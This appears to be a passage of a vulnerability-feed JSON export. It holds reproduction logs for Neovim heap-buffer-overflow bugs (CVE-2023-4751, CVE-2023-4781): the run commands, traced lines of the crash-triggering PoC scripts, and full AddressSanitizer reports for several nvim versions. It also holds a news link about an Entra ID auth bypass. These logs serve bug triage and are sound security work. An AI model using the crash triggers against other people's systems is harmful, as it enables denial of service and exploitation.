sp0\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\n\"0\" [New File]\nline 2: unlet! b:keymap_name\n\nline 3: no0 R\n\nline 4: sil0norm0000\n\nline 5: norm^V\ufffd\n\nline 6: ba\n\nline 7: norm8zW\n=================================================================\n==25949==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6020000081d2 at pc 0x0000009ace3b bp 0x7ffd7c9e0790 sp 0x7ffd7c9e0788\nREAD of size 1 at 0x6020000081d2 thread T0\n    #0 0x9ace3a in utfc_ptr2len /home/zzw/Desktop/neovim/build/../src/nvim/mbyte.c:878:26\n    #1 0xa712e8 in get_visual_text /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:4920:25\n    #2 0xa97cff in nv_zet /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:4459:27\n    #3 0xa7508c in normal_execute /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1137:3\n    #4 0xa71b46 in normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:7993:9\n    #5 0x810a29 in exec_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8213:5\n    #6 0x810776 in exec_normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8196:3\n    #7 0x82d61a in ex_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8110:7\n    #8 0x7f7008 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2238:5\n    #9 0x7e584e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:602:20\n    #10 0x7db169 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2973:3\n    #11 0x7d9348 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2718:14\n    #12 0x7d93c0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2699:3\n    #13 0x7f7008 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2238:5\n    #14 0x7e584e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:602:20\n    #15 0x7e91f3 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:278:10\n    #16 0x97c7a7 in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1664:5\n    #17 0x974315 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:515:5\n    #18 0x7f39b26ae082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #19 0x44ed5d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.3.0-ASAN+0x44ed5d)\n\n0x6020000081d2 is located 0 bytes to the right of 2-byte region [0x6020000081d0,0x6020000081d2)\nallocated by thread T0 here:\n    #0 0x4c749d in malloc (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.3.0-ASAN+0x4c749d)\n    #1 0x9db0d2 in try_malloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:87:15\n    #2 0x9db2a4 in xmalloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:121:15\n    #3 0xa0aba6 in ins_char_bytes /home/zzw/Desktop/neovim/build/../src/nvim/misc1.c:1475:18\n    #4 0xa0b1df in ins_char /home/zzw/Desktop/neovim/build/../src/nvim/misc1.c:1406:3\n    #5 0x640714 in insertchar /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:5312:7\n    #6 0x6510d4 in insert_special /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:5099:5\n    #7 0x6509fa in insert_handle_key /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:1241:7\n    #8 0x629566 in insert_execute /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:764:10\n    #9 0xd3b5b3 in state_enter /home/zzw/Desktop/neovim/build/../src/nvim/state.c:67:26\n    #10 0x62d7d5 in insert_enter /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:458:5\n    #11 0x6274e3 in edit /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:1339:3\n    #12 0xa9d1b8 in invoke_edit /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:7589:7\n    #13 0xa85f81 in nv_Replace /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:6068:7\n    #14 0xa7508c in normal_execute /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1137:3\n    #15 0xa71b46 in normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:7993:9\n    #16 0x810a29 in exec_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8213:5\n    #17 0x810776 in exec_normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8196:3\n    #18 0x82d61a in ex_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8110:7\n    #19 0x7f7008 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2238:5\n    #20 0x7e584e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:602:20\n    #21 0x7db169 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2973:3\n    #22 0x7d9348 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2718:14\n    #23 0x7d93c0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2699:3\n    #24 0x7f7008 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2238:5\n    #25 0x7e584e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:602:20\n    #26 0x7e91f3 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:278:10\n    #27 0x97c7a7 in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1664:5\n    #28 0x974315 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:515:5\n    #29 0x7f39b26ae082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\nSUMMARY: AddressSanitizer: heap-buffer-overflow /home/zzw/Desktop/neovim/build/../src/nvim/mbyte.c:878:26 in utfc_ptr2len\nShadow bytes around the buggy address:\n  0x0c047fff8fe0: fa fa fd fd fa fa fd fd fa fa fd fd fa fa 00 06\n  0x0c047fff8ff0: fa fa fd fd fa fa fd fd fa fa 00 01 fa fa fd fd\n  0x0c047fff9000: fa fa 00 01 fa fa fd fd fa fa fd fa fa fa 00 00\n  0x0c047fff9010: fa fa 00 00 fa fa fd fa fa fa fd fd fa fa 00 00\n  0x0c047fff9020: fa fa fd fa fa fa fd fa fa fa fd fa fa fa 01 fa\n=>0x0c047fff9030: fa fa 00 fa fa fa 01 fa fa fa[02]fa fa fa fd fa\n  0x0c047fff9040: fa fa fd fa fa fa 01 fa fa fa fd fa fa fa fd fd\n  0x0c047fff9050: fa fa 00 04 fa fa fd fa fa fa fd fa fa fa fd fa\n  0x0c047fff9060: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa\n  0x0c047fff9070: fa fa fd fa fa fa fd fd fa fa fd fa fa fa fd fa\n  0x0c047fff9080: fa fa fd fa fa fa 07 fa fa fa 01 fa fa fa 01 fa\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n  Shadow gap:              cc\n==25949==ABORTING", "vulnerability": "CVE-2023-4751", "author": {"login": "automation"}}, {"uuid": "1c37220d-b311-4e34-8d34-39803e2244a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T12:30:29.016573+00:00", "type": "seen", "source": "https://bsky.app/profile/0daynews.bsky.social/post/3mutypcxvzq2l", "content": "Microsoft Patches Entra ID CVSS 9.1 Auth Bypass https://0daynews.com/articles/2026-09-05-entra-id-cve-2026-62916-auth-bypass?utm_source=bluesky&utm_medium=organic_social&utm_campaign=always_on&utm_content=hub-1076", "vulnerability": "cve-2026-62916", "author": {"login": "automation"}}, {"uuid": "50133ff3-cc1e-4850-a3f1-177f1c7fef74", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T12:24:29.116381+00:00", "type": "seen", "source": "https://gist.github.com/zhuozhenwei/ff0d69960a7adbd04b06efa14b114bdf", "content": "Command:\n./nvim-0.9.5 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4781)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4781)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4781)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4781)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4781)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4781)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4781)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4781)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4781)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4781)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4781)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4781)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4781)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4781)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4781)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4781)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4781)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4781)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4781)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4781)\nExecuting:     aunmenu *\n\nExecuting:     vnoremenu PopUp.Cut                     \"+x\n\nExecuting:     vnoremenu PopUp.Copy                    \"+y\n\nExecuting:     anoremenu PopUp.Paste                   \"+gP\n\nExecuting:     vnoremenu PopUp.Paste                   \"+P\n\nExecuting:     vnoremenu PopUp.Delete                  \"_x\n\nExecuting:     nnoremenu PopUp.Select\\ All             ggVG\n\nExecuting:     vnoremenu PopUp.Select\\ All             gg0oG$\n\nExecuting:     inoremenu PopUp.Select\\ All             VG\n\nExecuting:     anoremenu PopUp.-1-                     \n\nExecuting:     anoremenu PopUp.How-to\\ disable\\ mouse  help disable-mouse\n\nExecuting:   \n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4781)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4781)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4781)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4781)\nExecuting: so poc\n\nline 0: sourcing \"poc\"\nline 1: func! R()\n\nline 5: call setline(1, [repeat('a',55).'Z', repeat('0',90)])\n\nline 6: new\n\nline 6: unlet! b:keymap_name\n\nline 7: wincmd p\n\nline 8: silent! 1s/Z\\n0*/\\=R()/\n=================================================================\n==18417==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x603000003145 at pc 0x0000004e0015 bp 0x7ffcdfa58970 sp 0x7ffcdfa58138\nWRITE of size 55 at 0x603000003145 thread T0\n    #0 0x4e0014 in __asan_memmove (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.9.5-ASAN+0x4e0014)\n    #1 0x73d502 in do_sub /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:3936:11\n    #2 0x73a10c in ex_substitute /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:4673:9\n    #3 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #4 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n    #5 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #6 0x9e86aa in do_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:2167:5\n    #7 0x9e6daa in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1717:14\n    #8 0x9e6c8e in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1725:3\n    #9 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #10 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n    #11 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #12 0x749541 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:281:10\n    #13 0x517cab in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1899:5\n    #14 0x5110a4 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:578:5\n    #15 0x7f2bac1ab082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #16 0x467f6d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.9.5-ASAN+0x467f6d)\n\n0x603000003145 is located 0 bytes to the right of 21-byte region [0x603000003130,0x603000003145)\nallocated by thread T0 here:\n    #0 0x4e06ad in malloc (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.9.5-ASAN+0x4e06ad)\n    #1 0x8a067a in try_malloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:88:15\n    #2 0x8a07a8 in xmalloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:122:15\n    #3 0x740268 in sub_grow_buf /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:3168:18\n    #4 0x73d4ed in do_sub /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:3931:21\n    #5 0x73a10c in ex_substitute /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:4673:9\n    #6 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #7 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n    #8 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #9 0x9e86aa in do_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:2167:5\n    #10 0x9e6daa in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1717:14\n    #11 0x9e6c8e in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1725:3\n    #12 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #13 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n    #14 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #15 0x749541 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:281:10\n    #16 0x517cab in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1899:5\n    #17 0x5110a4 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:578:5\n    #18 0x7f2bac1ab082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\nSUMMARY: AddressSanitizer: heap-buffer-overflow (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.9.5-ASAN+0x4e0014) in __asan_memmove\nShadow bytes around the buggy address:\n  0x0c067fff85d0: fa fa 00 00 00 03 fa fa 00 00 02 fa fa fa fd fd\n  0x0c067fff85e0: fd fa fa fa fd fd fd fd fa fa 00 00 00 05 fa fa\n  0x0c067fff85f0: fd fd fd fa fa fa 00 00 01 fa fa fa fd fd fd fd\n  0x0c067fff8600: fa fa 00 00 00 00 fa fa fd fd fd fa fa fa fd fd\n  0x0c067fff8610: fd fd fa fa fd fd fd fa fa fa 00 00 00 06 fa fa\n=>0x0c067fff8620: fd fd fd fd fa fa 00 00[05]fa fa fa fa fa fa fa\n  0x0c067fff8630: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c067fff8640: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c067fff8650: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c067fff8660: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c067fff8670: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n  Shadow gap:              cc\n==18417==ABORTING\n\nCommand:\n./nvim-0.6.1 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nExecuting: augroup nvim_terminal\n\nExecuting: autocmd BufReadCmd term://* ++nested if !exists('b:term_title')|call termopen(matchstr(expand(\"\"), '\\c\\mterm://\\%(.\\{-}//\\%(\\d\\+:\\)\\?\\)\\?\\zs.*'), {'cwd': expand(get(matchlist(expand(\"\"), '\\c\\mterm://\\(.\\{-}\\)//'), 1, ''))})|endif\n\nExecuting: augroup END\n\nExecuting: augroup nvim_cmdwin\n\nExecuting: autocmd! CmdwinEnter [:>] syntax sync minlines=1 maxlines=1\n\nExecuting: augroup END\n\nExecuting: so poc\n\nline 0: sourcing \"poc\"\nline 1: func! R()\n\nline 5: call setline(1, [repeat('a',55).'Z', repeat('0',90)])\n\nline 6: new\n\nline 6: unlet! b:keymap_name\n\nline 7: wincmd p\n\nline 8: silent! 1s/Z\\n0*/\\=R()/\n=================================================================\n==18766==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6030000094a5 at pc 0x0000004d5ff5 bp 0x7ffdaf34a270 sp 0x7ffdaf349a38\nWRITE of size 55 at 0x6030000094a5 thread T0\n    #0 0x4d5ff4 in __asan_memmove (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.6.1-ASAN+0x4d5ff4)\n    #1 0x8cb937 in do_sub /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:4090:11\n    #2 0x8c4da0 in ex_substitute /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:6016:11\n    #3 0x901cb0 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1983:5\n    #4 0x8f40b2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:604:20\n    #5 0x8e8b1c in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2242:5\n    #6 0x8e57f2 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1805:14\n    #7 0x8e5dd0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1786:3\n    #8 0x901cb0 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1983:5\n    #9 0x8f40b2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:604:20\n    #10 0x8f7a53 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:288:10\n    #11 0xabfaae in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1654:5\n    #12 0xab8096 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:493:5\n    #13 0x7fe2f621e082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #14 0x45df4d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.6.1-ASAN+0x45df4d)\n\n0x6030000094a5 is located 0 bytes to the right of 21-byte region [0x603000009490,0x6030000094a5)\nallocated by thread T0 here:\n    #0 0x4d668d in malloc (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.6.1-ASAN+0x4d668d)\n    #1 0xb5f062 in try_malloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:74:15\n    #2 0xb5f224 in xmalloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:108:15\n    #3 0x8d32cd in sub_grow_buf /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:3346:18\n    #4 0x8cb8d4 in do_sub /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:4085:21\n    #5 0x8c4da0 in ex_substitute /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:6016:11\n    #6 0x901cb0 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1983:5\n    #7 0x8f40b2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:604:20\n    #8 0x8e8b1c in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2242:5\n    #9 0x8e57f2 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1805:14\n    #10 0x8e5dd0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1786:3\n    #11 0x901cb0 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1983:5\n    #12 0x8f40b2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:604:20\n    #13 0x8f7a53 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:288:10\n    #14 0xabfaae in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1654:5\n    #15 0xab8096 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:493:5\n    #16 0x7fe2f621e082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\nSUMMARY: AddressSanitizer: heap-buffer-overflow (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.6.1-ASAN+0x4d5ff4) in __asan_memmove\nShadow bytes around the buggy address:\n  0x0c067fff9240: 00 05 fa fa fd fd fd fa fa fa 00 00 00 00 fa fa\n  0x0c067fff9250: 00 00 01 fa fa fa fd fd fd fd fa fa 00 00 00 00\n  0x0c067fff9260: fa fa 00 00 00 00 fa fa fd fd fd fa fa fa fd fd\n  0x0c067fff9270: fd fa fa fa fd fd fd fd fa fa fd fd fd fa fa fa\n  0x0c067fff9280: fd fd fd fd fa fa 00 00 00 06 fa fa fd fd fd fd\n=>0x0c067fff9290: fa fa 00 00[05]fa fa fa fa fa fa fa fa fa fa fa\n  0x0c067fff92a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c067fff92b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c067fff92c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c067fff92d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c067fff92e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n  Shadow gap:              cc\n==18766==ABORTING\n\nCommand:\n./nvim-0.3.0 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nline 0: so poc\n\nline 0: sourcing \"poc\"\nline 1: func! R()\n\nline 5: call setline(1, [repeat('a',55).'Z', repeat('0',90)])\n\nline 6: new\n\nline 6: unlet! b:keymap_name\n\nline 7: wincmd p\n\nline 8: silent! 1s/Z\\n0*/\\=R()/\n=================================================================\n==18811==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x603000004b55 at pc 0x0000004c6e05 bp 0x7ffe680acfb0 sp 0x7ffe680ac778\nWRITE of size 55 at 0x603000004b55 thread T0\n    #0 0x4c6e04 in __asan_memmove (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.3.0-ASAN+0x4c6e04)\n    #1 0x7b9342 in do_sub /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:3804:11\n    #2 0x7b2dcc in ex_substitute /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:6273:11\n    #3 0x7f7008 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2238:5\n    #4 0x7e584e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:602:20\n    #5 0x7db169 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2973:3\n    #6 0x7d9348 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2718:14\n    #7 0x7d93c0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2699:3\n    #8 0x7f7008 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2238:5\n    #9 0x7e584e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:602:20\n    #10 0x7e91f3 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:278:10\n    #11 0x97c7a7 in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1664:5\n    #12 0x974315 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:515:5\n    #13 0x7f8102ff9082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #14 0x44ed5d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.3.0-ASAN+0x44ed5d)\n\n0x603000004b55 is located 0 bytes to the right of 21-byte region [0x603000004b40,0x603000004b55)\nallocated by thread T0 here:\n    #0 0x4c749d in malloc (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.3.0-ASAN+0x4c749d)\n    #1 0x9db0d2 in try_malloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:87:15\n    #2 0x9db2a4 in xmalloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:121:15\n    #3 0x7c017d in sub_grow_buf /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:3085:18\n    #4 0x7b9314 in do_sub /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:3799:21\n    #5 0x7b2dcc in ex_substitute /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:6273:11\n    #6 0x7f7008 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2238:5\n    #7 0x7e584e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:602:20\n    #8 0x7db169 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2973:3\n    #9 0x7d9348 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2718:14\n    #10 0x7d93c0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2699:3\n    #11 0x7f7008 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2238:5\n    #12 0x7e584e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:602:20\n    #13 0x7e91f3 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:278:10\n    #14 0x97c7a7 in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1664:5\n    #15 0x974315 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:515:5\n    #16 0x7f8102ff9082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\nSUMMARY: AddressSanitizer: heap-buffer-overflow 